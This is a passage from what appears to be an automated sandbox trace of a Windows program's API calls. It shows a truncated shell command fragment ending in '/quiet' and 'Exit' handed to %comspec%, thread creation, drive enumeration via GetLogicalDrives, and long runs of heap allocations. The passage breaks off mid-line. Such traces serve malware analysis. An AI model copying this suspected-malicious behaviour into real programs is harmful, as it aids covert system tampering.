/quiet\nExit\n") returned 65 [0189.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80bfc0 | out: hHeap=0x790000) returned 1 [0189.680] lstrlenW (lpString="%comspec%") returned 9 [0189.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5838 | out: hHeap=0x790000) returned 1 [0189.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238 [0189.681] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7c9e18 [0189.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x7c9e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c [0189.681] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4978 [0189.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x7c4978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f38 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9f38, Size=0x20) returned 0x7c55b8 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c55b8, Size=0x40) returned 0x79f808 [0189.682] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xd0) returned 0x7a2aa8 [0189.682] GetLogicalDrives () returned 0x4 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10014) returned 0x7cbde0 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f98 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9f98, Size=0x20) returned 0x7c5680 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5680, Size=0x40) returned 0x79f970 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79f970, Size=0x80) returned 0x80c6a8 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c6a8, Size=0x100) returned 0x7ca798 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x200) returned 0x7ca798 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x400) returned 0x80d428 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80d428, Size=0x800) returned 0x80d428 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80d428, Size=0x1000) returned 0x80d428 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x7dbe00 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f80 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7ca0e8 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7c4848 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7c9fc8 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7c4938 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9e78 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c4938, Size=0x8) returned 0x7c48a8 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9f98 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c48a8, Size=0x10) returned 0x7c9e60 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9fb0 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca0d0 [0189.682] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9e60, Size=0x20) returned 0x7c55b8 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9ef0 [0189.682] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4898 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7c9fe0 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7c9e48 [0189.683] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c55b8, Size=0x40) returned 0x79f8e0 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7c9f68 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7c9ff8 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7ca0b8 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7ca010 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca070 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9f08 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4918 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca028 [0189.683] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79f8e0, Size=0x80) returned 0x80cc80 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca040 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9e60 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca058 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca088 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca0a0 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7c9e90 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9f50 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4808 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9ec0 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9ed8 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7c9f20 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7c9f38 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7ca100 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca160 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7ca178 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca118 [0189.683] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80cc80, Size=0x100) returned 0x7ca798 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7ca130 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x79df60 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e6a0 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x80e6b8 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e598 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e4f0 [0189.683] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c47d8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e748 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e6d0 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e5f8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7c47b8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e4c0 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e550 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c48a8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e490 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e730 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e568 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e508 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e5b0 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e5c8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x80e520 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e5e0 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x80e4a8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e718 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e538 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e610 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e4d8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4878 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e658 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e580 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e628 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e670 [0189.684] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x200) returned 0x7ca798 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e460 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c48b8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e640 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e700 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e688 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e478 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e6e8 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e7c0 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e778 [0189.684] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e7d8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e808 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e820 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e7f0 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e760 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e790 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e7a8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80ea60 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eaf0 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e9a0 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e988 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ea30 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e8c8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e9e8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4938 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e8e0 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e958 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eac0 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c47e8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ea90 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80ea48 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eaa8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eb08 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ead8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eb50 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e910 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ea00 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80eb20 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e9b8 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eb38 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e868 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ea78 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80e940 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e880 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e898 [0189.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e970 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e8b0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e8f8 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ea18 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e9d0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4858 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7c47f8 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80e928 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eb98 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ebb0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ebc8 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ebe0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80ec10 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ebf8 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ec28 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eb80 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eb68 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80ec88 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ee50 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eda8 [0189.686] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca798, Size=0x400) returned 0x80f048 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eca0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eeb0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80ee38 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ee98 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ec70 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80edf0 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80ef10 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed18 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed30 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed60 [0189.686] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c4868 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ef40 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80edd8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ee68 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eec8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed48 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed78 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x80ef28 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eef8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ee08 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ecd0 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ee80 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed90 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80edc0 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ef58 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ee20 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c48c8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80eee0 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ecb8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ece8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ed00 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f018 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ef70 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80ef88 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80efa0 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80efb8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x80efd0 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80efe8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x80f000 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f030 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f630 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f5b8 [0189.687] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f660 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f480 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f570 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f4f8 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f750 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f5d0 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f588 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f510 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f5a0 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f528 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f600 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f6f0 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f618 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f678 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f708 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f558 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f5e8 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f540 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f4e0 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f6d8 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x80f648 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12) returned 0x79f0d8 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f690 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f498 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f4b0 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f6a8 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f4c8 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f6c0 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f738 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f720 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f768 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f828 [0189.688] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f7f8 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f780 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f810 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f840 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f798 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f7b0 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f7c8 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f7e0 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fab0 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f948 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80fa98 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80fa38 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80fb40 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x80f9d8 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f9f0 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c48d8 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fa08 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7c48e8 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fa50 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f8e8 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fb58 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f960 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f8a0 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fa20 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f888 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80fb28 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f9c0 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f978 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x80f900 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x80f990 [0189.689] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 